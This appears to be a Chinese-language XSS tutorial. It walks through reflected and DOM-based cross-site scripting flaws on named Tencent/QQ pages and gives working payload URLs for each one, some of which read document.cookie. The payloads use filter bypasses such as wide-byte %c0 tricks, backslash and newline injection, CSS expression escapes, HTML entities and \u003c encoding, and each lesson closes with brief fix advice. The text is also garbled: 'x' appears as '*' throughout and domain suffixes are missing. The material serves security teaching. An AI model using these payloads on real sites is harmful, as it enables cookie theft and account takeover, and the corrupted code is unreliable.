版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
-.z.目錄1.什么都沒(méi)過(guò)濾的入門(mén)情況12.輸出在<script></script>之間的情況33.輸出在HTML屬性里的情況54.寬字節(jié)復(fù)仇記[QQ基本通用]105.反斜線復(fù)仇記136.換行符復(fù)仇記177.寬字節(jié)、反斜線與換行符一起復(fù)仇記198.Dom*ss入門(mén)[顯式輸出]229.Dom*ss入門(mén)[隱式輸出]2610.Dom*ss進(jìn)階[邂逅eval]3411.Dom*ss進(jìn)階[善變iframe]3812.Dom*ss進(jìn)階[路徑con]4213.Dom*ss實(shí)例[Discuz*2.5]4714.Flash*ss入門(mén)[navigateToURL]5115.Flash*ss進(jìn)階[E*ternalInterface.call第一個(gè)參數(shù)]5616.Flash*ss進(jìn)階[E*ternalInterface.call第二個(gè)參數(shù)]6117.*SS過(guò)濾器繞過(guò)[通用繞過(guò)]6718.*SS過(guò)濾器繞過(guò)[猥瑣繞過(guò)]6919.存儲(chǔ)型*SS入門(mén)[什么都沒(méi)過(guò)濾的情況]7220.存儲(chǔ)型*SS入門(mén)[套現(xiàn)繞過(guò)富文本]7621.存儲(chǔ)型*SS進(jìn)階[猜測(cè)規(guī)則,利用FlashaddCallback構(gòu)造*SS]791.什么都沒(méi)過(guò)濾的入門(mén)情況只是些反射型*SS,單單發(fā)出來(lái)沒(méi)有什么意義。只是些反射型*SS,騰訊怎么修都修不完。只是些反射型*SS,我想讓它變得更有價(jià)值。只是些反射型*SS,我拿他們做成了教程。1.*SS的存在,一定是伴隨著輸入,與輸出2個(gè)概念的。2.要想過(guò)濾掉*SS,你可以在輸入層面過(guò)濾,也可以在輸出層面過(guò)濾。3.如果輸入和輸出都沒(méi)過(guò)濾。則漏洞將是顯而易見(jiàn)的。4.作為第一個(gè)最基礎(chǔ)的例子,我們拿出的是一個(gè)什么都沒(méi)過(guò)濾(其實(shí)還是有些轉(zhuǎn)義的,主要沒(méi)過(guò)濾<,>)的例子。這種例子出現(xiàn)在騰訊這種大的概率不是很高。但是還是讓我找到了一個(gè)。5.app.data.qq./"umod=mentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=866.對(duì)于上面這個(gè)例子。我們可以看到什么是輸入,什么是輸出。7.經(jīng)過(guò)測(cè)試,我們發(fā)現(xiàn),score這個(gè)【輸入】參數(shù),沒(méi)有進(jìn)行任何過(guò)濾,即,輸入是什么,輸出就是什么?通俗點(diǎn)就是“吃什么,拉什么”。。。如下圖:網(wǎng)頁(yè)中看到的效果如下:8.既然可以直接輸入<>HTML標(biāo)簽,接下來(lái)的利用也就相對(duì)簡(jiǎn)單了。app.data.qq./"umod=mentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=<imgsrc=1onerror=alert(1);>&func=haoping&_=86效果如下:修復(fù)方案:這種*SS屬于最基本的一類(lèi)*SS,也最好防御。。它的模型是:<HTML標(biāo)簽></HTML標(biāo)簽>[輸出]<HTML標(biāo)簽></HTML標(biāo)簽>或<HTML標(biāo)簽>[輸出]</HTML標(biāo)簽>a.通常,我們只需要在輸出前,將<,>過(guò)濾掉即可。b.這類(lèi)*SS在小型中比較常見(jiàn),在大型中少見(jiàn)。c.這類(lèi)*SS通常都被瀏覽器的*SS過(guò)濾器秒殺了,所以一般來(lái)說(shuō),威力較小。d.對(duì)于普通用戶來(lái)說(shuō),請(qǐng)使用IE8及以上版本(并開(kāi)啟*SS過(guò)濾器功能,默認(rèn)開(kāi)啟),或chrome瀏覽器,將可以防御大部分此種類(lèi)型的*SS攻擊2.輸出在<script></script>之間的情況接著上面一個(gè)教程,我們繼續(xù)。這個(gè)例子屬于第一例的特殊情況,當(dāng)然也有特殊解法。也屬于非常常見(jiàn)的一種情況。1.我們找到這么一個(gè)點(diǎn),也是輸入和輸出都未過(guò)濾的一個(gè)點(diǎn)。相比教程第一例,其特殊之處在于,是輸出在了<script>[輸出]</script>之間。activity.soso./mon/setParentsInfo.php"callback=aaaaaaaaa如下圖:callback參數(shù)未做過(guò)濾。在【查看源代碼】下,我們可以看到。缺陷網(wǎng)頁(yè)源代碼:<scripttype='te*t/javascript'>document.domain='soso.';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>2.碰到這種情況,我們一般有以下解法。2.1首先判斷,是否過(guò)濾了<,>,/等符號(hào),2.2如果都沒(méi)有過(guò)濾,恭喜你,一般可以直接*SS了。代碼如下:activity.soso./mon/setParentsInfo.php"callback=aaaaaaaaa</script><script>alert(1)</script>原理入下圖:構(gòu)造callback參數(shù)后的源代碼<scripttype='te*t/javascript'>document.domain='soso.';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>2.3如果過(guò)濾了<,>,則就無(wú)法使用上面的辦法了。我們接著看33.script代碼里的構(gòu)造。友情提示:這里可能需要一點(diǎn)點(diǎn)javascript的知識(shí)才行哦~~我們可以如下構(gòu)造:activity.soso./mon/setParentsInfo.php"callback=eval('alert(1)');void可以看到,源代碼是下面的樣子。也就是說(shuō),我們插入的內(nèi)容,使得這一段javascript依然【語(yǔ)法正確】,能夠【正確執(zhí)行】,并且能夠執(zhí)行【我們所插入的JS代碼】,這樣我們的目的就達(dá)到了。構(gòu)造后的源代碼如下:<scripttype='te*t/javascript'>document.domain='soso.';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>4.這種輸出在JS代碼里的情況十分常見(jiàn),但是呢?不幸的是,像這樣沒(méi)過(guò)濾的情況,卻不是很常見(jiàn)。例如:vara="[輸出]";//通常程序員會(huì)把"過(guò)濾掉,這樣的話,一般來(lái)說(shuō),我們就很難構(gòu)造。但是,這并不是說(shuō),就一定是不能利用,后面我們會(huì)拿騰訊一些【比較有意思】的例子,來(lái)進(jìn)一步說(shuō)到這個(gè)【輸出在js里】的情況的~修復(fù)方案:這類(lèi)*SS的模型通常是:<script>...[輸出]...</script><style>...[輸出]...</script>解決方案:1.過(guò)濾</***>組合2.針對(duì)輸出在不同的場(chǎng)景,進(jìn)行合適的過(guò)濾。3.輸出在HTML屬性里的情況和前面的不一樣的時(shí),有時(shí)候,輸出會(huì)出現(xiàn)在HTML標(biāo)簽的屬性之中。例如:<inputvalue="輸出">、<imgonload="...[輸出]...">,再比如<bodystyle="...[輸出]...">..這個(gè)時(shí)候怎么辦呢?1.大一般不是吃素的。前面講到的基本情況,一般都很少遇到了。2.這個(gè)時(shí)候我們可以把目光發(fā)展一下,找一找在【輸出】出現(xiàn)在HTML屬性里的情況。3.最為典型的一種情況,是下面這樣的。****./search.php"word=烏云歡迎您HTML代碼里則是下面這樣情況的。..關(guān)鍵詞:<inputtype="te*t"value="烏云歡迎您"/>如果這里的word沒(méi)過(guò)濾雙引號(hào)。就會(huì)有以下的情況發(fā)生。****./search.php"word=烏云歡迎您"onclick="alert(1)對(duì)應(yīng)的源代碼如下:<inputtype="te*t"value="烏云歡迎您"onclick="alert(1)"/>解析:則當(dāng)用戶點(diǎn)擊這個(gè)文本框時(shí),就會(huì)觸發(fā)alert(1)。4.當(dāng)然理想是美好的,現(xiàn)實(shí)總是殘酷的,我水平有限,并沒(méi)有在騰訊找到這樣的例子。因?yàn)榻^大部分這樣的情況,騰訊都會(huì)做出相應(yīng)的過(guò)濾。過(guò)濾方法也挺簡(jiǎn)單,將"過(guò)濾為"就行。過(guò)濾后的代碼如下:<inputtype="te*t"value="烏云歡迎您"onclick="alert(1)"/>5.一般來(lái)說(shuō),上面的情況,過(guò)濾了",可以說(shuō)是高枕無(wú)憂了,但是事實(shí)并非如此。*些情況下。我們依然可以繼續(xù)*SS。下面以騰訊為例。6.首先看第一種場(chǎng)景。follow.v.t.qq./inde*.php"c=follow&a=inde*&appkey=801004516&bg=我是一個(gè)兵,愛(ài)國(guó)愛(ài)人民&hsize=80&name=Zhanglifenft,chengyizhong,*iangyang20112007,linchufang,leonardoit,linchufang,qingfeng*u6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,j*zhongweizhi,lihaipengt*這里的bg參數(shù)過(guò)濾了【幾乎】所有的東西。但是它輸出在了<bodystyle="[這里]">更重要的是,這里沒(méi)有過(guò)濾\,反斜線,而css里,允許使用轉(zhuǎn)義字符,\+ascii16進(jìn)制形式。這樣一來(lái),我們就可以構(gòu)造利用語(yǔ)句啦。這里過(guò)濾了e*pression,我們也可以輕松的用e*pr\65ssion繞過(guò)。follow.v.t.qq./inde*.php"c=follow&a=inde*&appkey=801004516&bg=;w:e*pr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,*iangyang20112007,linchufang,leonardoit,linchufang,qingfeng*u6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,j*zhongweizhi,lihaipengt*效果如下:這種情況,遺憾之處在于,基于csse*pression的*SS已經(jīng)進(jìn)入暮年了,只有在IE6,7下方能觸發(fā),受眾面小。這里只是作為一個(gè)案例來(lái)講講。Tips:至于這里的轉(zhuǎn)義是如何寫(xiě)的:步驟如下:例如e的ascii16進(jìn)制是65,我們就寫(xiě)為\65e*pression->e*pr\65ssion。本例缺陷點(diǎn)代碼:<bodystyle="overflow:auto;background-color:*我是一個(gè)兵,愛(ài)國(guó)愛(ài)人民;">7.再來(lái)看下一個(gè)在屬性里的案例。這個(gè)例子也是比較常見(jiàn)的。比如:<HTML標(biāo)簽on****="...[輸出在這里]..">的例子。<ahref="javascript:[輸出在這里]">****</a>的例子。正好,在騰訊的這個(gè)例子中,以上2個(gè)情況一起出現(xiàn)了。我們以其中一種進(jìn)行講解。stock.finance.qq./report/search.php"searchtype_yg=yjjg&searchvalue_yg=aaaaaaaaaa看輸出,如下,aaaaaaaa出現(xiàn)在了2個(gè)點(diǎn)。常規(guī)來(lái)說(shuō),因?yàn)閛n****="[輸出]"和href="javascript:[輸出]"與<script>[輸出]</script>沒(méi)有太大區(qū)別。因?yàn)閇輸出]所在的地方,都是javascript腳本。但是<script>[輸出]</script>如果被過(guò)濾,往往沒(méi)有太好的辦法。而上面這2種情況,則有一個(gè)很好的辦法繞過(guò)過(guò)濾。Tips:在HTML屬性中,會(huì)自動(dòng)對(duì)實(shí)體字符進(jìn)行轉(zhuǎn)義。一個(gè)簡(jiǎn)單的比方。<imgsrc="1"onerror="alert(1)">和<imgsrc="1"onerror="alert&**28;1&**29;">是等效的換言之,只要上面的情況,沒(méi)有過(guò)濾&,*等符號(hào),我們就可以寫(xiě)入任意字符??纯慈毕蔹c(diǎn)的代碼<li><inputtype="te*t"id="pagenum"class="inputstyle0814"onkeydown="if((event.keyCode==13)&&(this.value!=''))location.href='stock.finance.qq./report/search.php"offset='+this.value+'&searchtype_yg=yjjg&searchvalue_yg=aaaaaaaaaa'"/></li>JS部分我們可以做以下構(gòu)造,由于'被過(guò)濾,我們可以將'寫(xiě)為&**27;location.href='&searchvalue_yg=aaaaaa'location.href='&searchvalue_yg=aaaaaa'+alert(1)+''location.href='&searchvalue_yg=aaaaaa&**27;+alert(1)+&**27;'步驟如下:接著我們把代碼轉(zhuǎn)換為url的編碼。&->%26,*->%23最后利用代碼如下:stock.finance.qq./report/search.php"searchtype_yg=yjjg&searchvalue_yg=aaaaaaa%26%23*27;%2balert(1)%2b%26%23*27;用戶點(diǎn)擊頁(yè)面[GO]按鈕觸發(fā)。由于缺陷點(diǎn)是發(fā)生在onkeydown或a標(biāo)簽的href屬性中,無(wú)法自動(dòng)觸發(fā),因而使得威脅減小,如果是發(fā)生在img的onload屬性,則非??赡軐?dǎo)致自動(dòng)觸發(fā)。缺陷頁(yè)面的<ahref="">觸發(fā)點(diǎn)的代碼如下:<li><divclass="yebg"><ahref="javascript:location='stock.finance.qq./report/search.php"offset='+document.getElementById('pagenum').value+'&searchtype_yg=yjjg&searchvalue_yg=aaaaaaaaaa'">GO</a></div></li>修復(fù)方案:1.對(duì)于輸出在HTML屬性中的情況,需要特殊情況特殊對(duì)待,該過(guò)濾\的時(shí)候,請(qǐng)過(guò)濾\,該過(guò)濾&的情況,則過(guò)濾掉&2.碰到有*些修復(fù)的人用正則去判斷,&**NNN..,而實(shí)際上&**0NN;&**00NN,(后面自己慢慢試。。)都是可以的。或者是&*10進(jìn)制;以及一些特殊的HTML實(shí)體,如"等,都要注意到,好麻煩,最好的辦法,還是&過(guò)濾為&:)4.寬字節(jié)復(fù)仇記[QQ基本通用]前面教程第2節(jié),說(shuō)到了輸出在<script>..</script>之間的情況。也說(shuō)到了后面會(huì)再繼續(xù)一些有意思的例子。實(shí)際上,我們碰到的往往不是則好。很多情況下,程序員都是會(huì)過(guò)濾的。則我們?cè)趺崔k呢?“因地制宜,因材施教?!备鶕?jù)漏洞的實(shí)際情況,我們可以各種繞過(guò)。不知道這里亂用成語(yǔ)沒(méi)啊?;炭植话仓小_@里先看看第一種方法,寬字節(jié)繞過(guò)。詳細(xì)說(shuō)明:1.有一個(gè)比較經(jīng)典的SQL注入,是寬字節(jié)注入。玩滲透的可能對(duì)這個(gè)都比較清楚。2.有時(shí)候,寬字節(jié)確實(shí)可以帶來(lái)奇效~~下面我們看騰訊的一個(gè)例子。3.例子如下:open.mail.qq./cgi-bin/qm_help_mailme"sid=,2,zh_&t=%22;alert(1);//aaaaaa我們嘗試注入"來(lái)閉合前面的雙引號(hào),但是很悲劇的是,雙引號(hào)被過(guò)濾了。。如下圖:看到這種情況,一般人估計(jì)會(huì)放棄了吧,至少說(shuō)明程序員注意到了這里,并且過(guò)濾了。然后我們可以看到編碼是:<metahttp-equiv="Content-Type"content="te*t/html;charset=gb18030"/>gb****系列的編碼,則我們嘗試一下寬字節(jié)呢?open.mail.qq./cgi-bin/qm_help_mailme"sid=,2,zh_&t=%c0%22;alert(1);//aaaaaa看看效果:彈個(gè)窗:利用寬字節(jié),我們?nèi)A麗的復(fù)仇了“騰訊對(duì)雙引號(hào)的屠殺”。至于這個(gè)漏洞的成因,和傳統(tǒng)的寬字節(jié)漏洞并不一樣。目測(cè)應(yīng)該是由于過(guò)濾雙引號(hào)的正則表達(dá)式寫(xiě)得有問(wèn)題造成的。并不是因?yàn)?22變成了%5c%22,而%c0吃掉了后面的%5c。而后面這種情況,在騰訊的相關(guān)站點(diǎn)暫時(shí)沒(méi)有發(fā)現(xiàn)實(shí)際案例。如果有,歡迎大家分享。不一一列舉了。有這個(gè)參數(shù)的基本都有問(wèn)題。msgopt.mail.qq./cgi-bin/readtemplate"sid=ktqO7DjMQcJuAABQ&folderid=9&page=0&t=aaaa%c0%22;alert(1);//bbbb*&loc=folderlist,,,9r.mail.qq./cgi-bin/reader_main"sid=ktqO7DjMQcJuAABQ&t=aaaa%c0"bbbb*&source=folderlisthttps://e*mail.qq./cgi-bin/bizmail"sid=N7fzoGwkeI8ydyRo,7&action=show_user&alias=zhaopinucanlove.&t=%c0"ccccbbbb*&s=showaccounthttps://e*mail.qq./cgi-bin/loginpage"errtype=3&verify=true&clientuin=info&t=dm_loginpage&d=fartech.&s=&alias=®alias=&delegate_url=&title=&url=%2Fcgi-bin%2Flogin%3F&org_fun=&aliastype=other&ss=&from=&autologin=n¶m=&sp=&r=b63f6de34c24eeb8a3099ab4bbfc1b8d&ppp=&secpp=%c0%22onmousebbbb=alert(document.cookie);//&dmtype=bizmailopen.mail.qq./cgi-bin/qm_help_mailme"sid=,2,zh_&t=%c0"ccccbbbb*open.mail.qq./cgi-bin/munication"sid=,2,zh_&t=%c0"ccccbbbb*&action=open.mail.qq./cgi-bin/feedback_loop"sid=,2,zh_&check=false&t=%c0"ccccbbbb*&action=e*mail.qq./cgi-bin/viewdocument"sid=H6Mg9z5*NfqsfhdH,7&filename=%CC%EC%BD%F2%BB%C6%BD%F0%C8%D5%D6%DC%C6%C00917.doc&mailid=ZL2017-RfnEvncOeLfhJ04eTPrSU29&retry=true&t=%c0%22ccccbbbb*&ef=qfuncreader.qq./cgi-bin/rss_main"sid=MTOtOYwp*56MMzN9&t=aaaa%c0%22;alert(document.cookie);//bbbb*&s=mag&r=222&init=true&update=1修復(fù)方案:修復(fù)相關(guān)過(guò)濾機(jī)制。5.反斜線復(fù)仇記還是在<script>之間的場(chǎng)景,*些情況下,我們僅僅需要的只是一個(gè)反斜線,就可以繞過(guò)過(guò)濾了。詳細(xì)說(shuō)明:1.有以下實(shí)例點(diǎn)。mail.qq./cgi-bin/login"vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dinde*%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1對(duì)應(yīng)的輸出,如下圖所示:經(jīng)過(guò)測(cè)試,我們可以看到,雙引號(hào)是用不了,但是反斜線還可以使用。則這里是否可以成功的*SS呢?我們把缺陷代碼部分提取出來(lái)。<script>getTop().location.href="/cgi-bin/loginpage"autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dinde*%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dinde*%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>2.可以看到有缺陷的部分是location.href=""+"&ss=aaaa"+"&from=bbb"+"¶m=";//后面省略。我們可以控制的是aaaa,又不能用",怎么辦呢?因?yàn)槲覀兛梢允褂肻,則我們可以殺掉aaaa后面的雙引號(hào)。location.href=""+"&ss=aaaa\"+"&from=bbb"+"¶m=";可以看到代碼的結(jié)果因?yàn)橐粋€(gè)反斜線發(fā)生了變化,如下圖:為了保證bbb后面的語(yǔ)法正確性,我們把bbb改為一個(gè)數(shù)字,把bbb后面加上//來(lái)注釋掉后面的部分。變成以下形式。location.href=""+"&ss=aaaa\"+"&from=1//"+"¶m=";3.看起來(lái)不錯(cuò)哦,但是會(huì)出來(lái)一些問(wèn)題,"字符串"&from=1,這樣是錯(cuò)誤的,因?yàn)?符號(hào)的優(yōu)先級(jí)高,("字符串"&from)=1是無(wú)法進(jìn)行這種賦值操作的。這樣一來(lái)還是不行。別著急。我們可以稍微改動(dòng)一下。變?yōu)橐韵滦问?。location.href=""+"&ss=aaaa\"+"&from==1//"+"¶m=";由于==的優(yōu)先級(jí)比&高,所以語(yǔ)句相當(dāng)于("字符串")&(from==1)4.更順眼了,但是還是會(huì)悲劇啊。由于from未定義,直接和1進(jìn)行相等判斷的話,會(huì)報(bào)錯(cuò),錯(cuò)誤是:“from”未定義。。。怎么辦呢?5.別緊*,javascript里有一個(gè)特性。如下:aaa();functionaaa(){}凡是以function***(){}形式定義的函數(shù),都會(huì)被最優(yōu)先解析。換句話說(shuō):解析器在解析JS代碼段時(shí),會(huì)先將function***(){}拿到最前面解析,然后再依次解析其它的部分。換句話說(shuō),上面的代碼,實(shí)際的解析順序是:functionaaa(){}aaa();利用這樣一個(gè)特性,我們的代碼可以改改。location.href=""+"&ss=aaaa\"+"&from==1;functionfrom(){}//"+"¶m=";這樣一來(lái),我們的functionfrom(){}就會(huì)被提前解析,從而定義了from,后面from==1的時(shí)候,就不會(huì)報(bào)錯(cuò)啦~~6.故事往往是曲折的,到了這一步,我們會(huì)發(fā)現(xiàn)還是不行。看一看源代碼吧~~,哎,我們的空格被轉(zhuǎn)義為了 7.當(dāng)然,這么一點(diǎn)小事情,難不到我們的,我們用注釋符來(lái)做分隔符。/**/替換空格,有沒(méi)有覺(jué)得和sql注入一樣了,咔咔。于是,我們的代碼變?yōu)榱耍簂ocation.href=""+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"¶m=";8.嗯,這次沒(méi)有語(yǔ)法錯(cuò)誤了,我們插入我們自己的JS代碼。location.href=""+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=";最終的利用代碼如下:mail.qq./cgi-bin/login"vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dinde*%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1恩,這次是我們的反斜線為雙引號(hào)報(bào)仇啦!只有在不登錄QQ的情況下觸發(fā),比較雞肋,實(shí)際意義不大,僅供研究。修復(fù)方案:1.隨便修修就好。2.*些情況下,\還是很危險(xiǎn)的。6.換行符復(fù)仇記還是在<script>之間的場(chǎng)景,*些情況下,我們僅僅需要的只是一個(gè)換行符,就可以繞過(guò)過(guò)濾了。它讓雙引號(hào),尖括號(hào)知道了“它們不是一個(gè)符號(hào)在戰(zhàn)斗”。
1.實(shí)際場(chǎng)景是下面這個(gè)例子。datalib.games.qq./cgi-bin/search"libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa
對(duì)應(yīng)的,我們可以看到我們的輸入aaaaaaaaa會(huì)在頁(yè)面的哪些輸出點(diǎn)出現(xiàn)呢?
2.不錯(cuò),一共有5處,有在HTML標(biāo)簽之間的(教程1),也有在<script>..</script>之間的。但是呢,該過(guò)濾的,<,>過(guò)濾掉了,該過(guò)濾的",也過(guò)濾掉了。。
3.也就是說(shuō)傳統(tǒng)的已經(jīng)不行啦,我們繼續(xù)看5處的其他地方。呀,竟然還有一大段注釋里,也出現(xiàn)了我們的【輸出】
4.嗯,這樣一來(lái),是否會(huì)想到這樣一個(gè)用法呢?//我是注釋,我愛(ài)洗澡,哦~哦~哦~[我是輸出]
如果可以使用換行符的話。//我是注釋,我愛(ài)洗澡,哦~哦~哦~[我是輸出換行符
alert(1);//我是輸出]
這樣alert(1);就會(huì)被成功執(zhí)行。5.恩,帶著這樣一個(gè)想法,我們不難構(gòu)造出以下利用。datalib.games.qq./cgi-bin/search"libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(1);//
看下輸出。嘿,果然沒(méi)過(guò)濾。
6.這樣,這一次我們的換行符立功了,它不是一個(gè)符號(hào)在戰(zhàn)斗!
修復(fù)方案:
盡量不要在JS的注釋里輸出內(nèi)容。還挺危險(xiǎn)的。7.寬字節(jié)、反斜線與換行符一起復(fù)仇記這一次,3個(gè)家伙一起上啦~
1.實(shí)例點(diǎn)如下:cgi.data.tech.qq./inde*.php"mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa
老規(guī)矩,繼續(xù)看我們的輸出。
2.一共有3處輸出,位于HTML屬性里的那一處,我們放棄了,因?yàn)殡p引號(hào)被滅掉了。則還剩下2處。都是位于<script>..</script>里,而且挨在了一起。3.先看第2處,是不是似曾相似???對(duì)的,教程6里剛剛遇到過(guò)。那就是輸出在【注釋】的情況。我們用換行符試試?
4.一條是好消息,換行可以用,一條是壞消息。。下面出現(xiàn)的一句壞了我們的好事。。腫么辦。5.這個(gè)時(shí)候,我們需要先說(shuō)點(diǎn)javascript的知識(shí)。javascript,字符串允許下面多行的寫(xiě)法。vara="我是一個(gè)字符串\
我還是一個(gè)字符串";alert(a);
6.基于這點(diǎn),我們可以把缺陷點(diǎn)構(gòu)造成下面的樣子。//document.getElementById("order_select").value="aaaa\
alert(1);//";varsearchOrder="aaaa\
alert(1);//";
則代碼構(gòu)造的解析如下:
7.帶著這個(gè)想法,請(qǐng)上我們的反斜線。。
8.悲劇的是,反斜線被過(guò)濾成了2個(gè)\\,這下不好辦了。9.還記得在教程4里,我們提到的寬字節(jié)用法么?說(shuō)到了%c0可以吃掉%5c。我們看看頁(yè)面的編碼。<metahttp-equiv="Content-Type"content="te*t/html;charset=gb2312"/>
gb***系列的啊,竊喜中。10.于是,我們的%c0也加入戰(zhàn)斗了。cgi.data.tech.qq./inde*.php"mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//
看看源碼中的輸出。\\被我們變成了亂碼+\
11.此時(shí),標(biāo)點(diǎn)符號(hào)們正在開(kāi)會(huì),開(kāi)會(huì)的主題是:“大家好,才是真的好”
修復(fù)方案:
參加前面教程:
那些年我們一起學(xué)*SS-4.寬字節(jié)復(fù)仇記[QQ基本通用]那些年我們一起學(xué)*SS-5.反斜線復(fù)仇記那些年我們一起學(xué)*SS-6.換行符復(fù)仇記8.Dom*ss入門(mén)[顯式輸出] 、反射型*SS部分,就到這里了。接著我們進(jìn)入Dom*ss的部分。Dom*ss相比反射型*SS,腦袋需要多思考一層。也就是說(shuō),我們關(guān)注的不僅是【輸出】了什么,還要了解這個(gè)頁(yè)面里,【javascript】拿這個(gè)【輸出】干了什么。為了循序漸進(jìn),本例講到的是,【輸出】直接在源代碼可見(jiàn)的情況。
1.在學(xué)習(xí)Dom*ss之前,先來(lái)補(bǔ)習(xí)點(diǎn)html,js的基礎(chǔ)知識(shí)。<divid="a">***</div><script>
document.getElementById("a").innerHTML="yyyyyy";
</script>
解釋如下:
2.進(jìn)一步,我們的yyyyyy,還可以是HTML代碼。<divid="a">***</div><script>
document.getElementById("a").innerHTML="<imgsrc=1>";
</script>
效果如下:
3.再進(jìn)一步,JS的字符串中的字符可以寫(xiě)為unicode編碼。譬如:<可以表示為\u003c,>可以表示為\u003e不知道怎么轉(zhuǎn)義的,可以使用gainover的工具。工具地址:app.baidu./app/enter"appid=280383
也就是,我們上面的代碼,可以進(jìn)一步寫(xiě)為。<divid="a">***</div><script>
document.getElementById("a").innerHTML="\u003cimgsrc=1\u003e";
</script>
4.上面看起來(lái)廢話好多,但是還是很重要的,這對(duì)于后面實(shí)例的講解很重要。5.我們來(lái)看看一個(gè)具體的實(shí)例,地址如下:datalib.ent.qq./cgi-bin/search"libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml
和前面反射型的一樣,我們先看看輸出。
相關(guān)代碼,我也貼出來(lái)。<strongid="titleshow">按職業(yè)1檢索:aaaaaaa</strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地區(qū)檢索:全部明星";if("職業(yè)1"=="職業(yè)1")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";if("職業(yè)1"=="職業(yè)2")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";if("職業(yè)1"=="職業(yè)3")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";
</script>
6.一共有6處,有一處圖上沒(méi)顯示,但是也沒(méi)用處,這里不列出來(lái)了,看上面代碼中的5處。我們已經(jīng)知道,<,>,"都被過(guò)濾了,用前面提到的*些技巧,似乎也無(wú)法直接*SS。則該怎么辦呢?7.在看到本教程的1,2,3部分后,聰明的你們不知道會(huì)不會(huì)想到些什么呢?
對(duì)的,那就是這里出現(xiàn)了innerHTML="[輸出]"的情況。我們可以看到,上面代碼中,實(shí)際上只有一句是運(yùn)行了的。我們重點(diǎn)看它。if("職業(yè)1"=="職業(yè)1")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:[輸出]";
8.這里[輸出]最然過(guò)濾了<,>,但是并沒(méi)有過(guò)濾\。這樣一來(lái),大家應(yīng)該清楚,為什么上面要說(shuō)到<可以寫(xiě)為\u003c了吧。就是為了應(yīng)付這種情況。9.因此,我們可以構(gòu)造缺陷點(diǎn)的代碼如下:if("職業(yè)1"=="職業(yè)1")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:\u003cimgsrc=1onerror=alert(1)\u003e";
經(jīng)過(guò)運(yùn)行后,titleshow里的HTML就會(huì)變?yōu)?lt;imgsrc=1onerror=alert(1)>,從而彈出1。對(duì)應(yīng)的,我們的利用代碼,可以寫(xiě)為如下,其中空格,我寫(xiě)為了\u0020datalib.ent.qq./cgi-bin/search"libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml
看看對(duì)應(yīng)的源代碼,悲催的事情出現(xiàn)了,\u003c和\u003e竟然被騰訊過(guò)濾了。。。
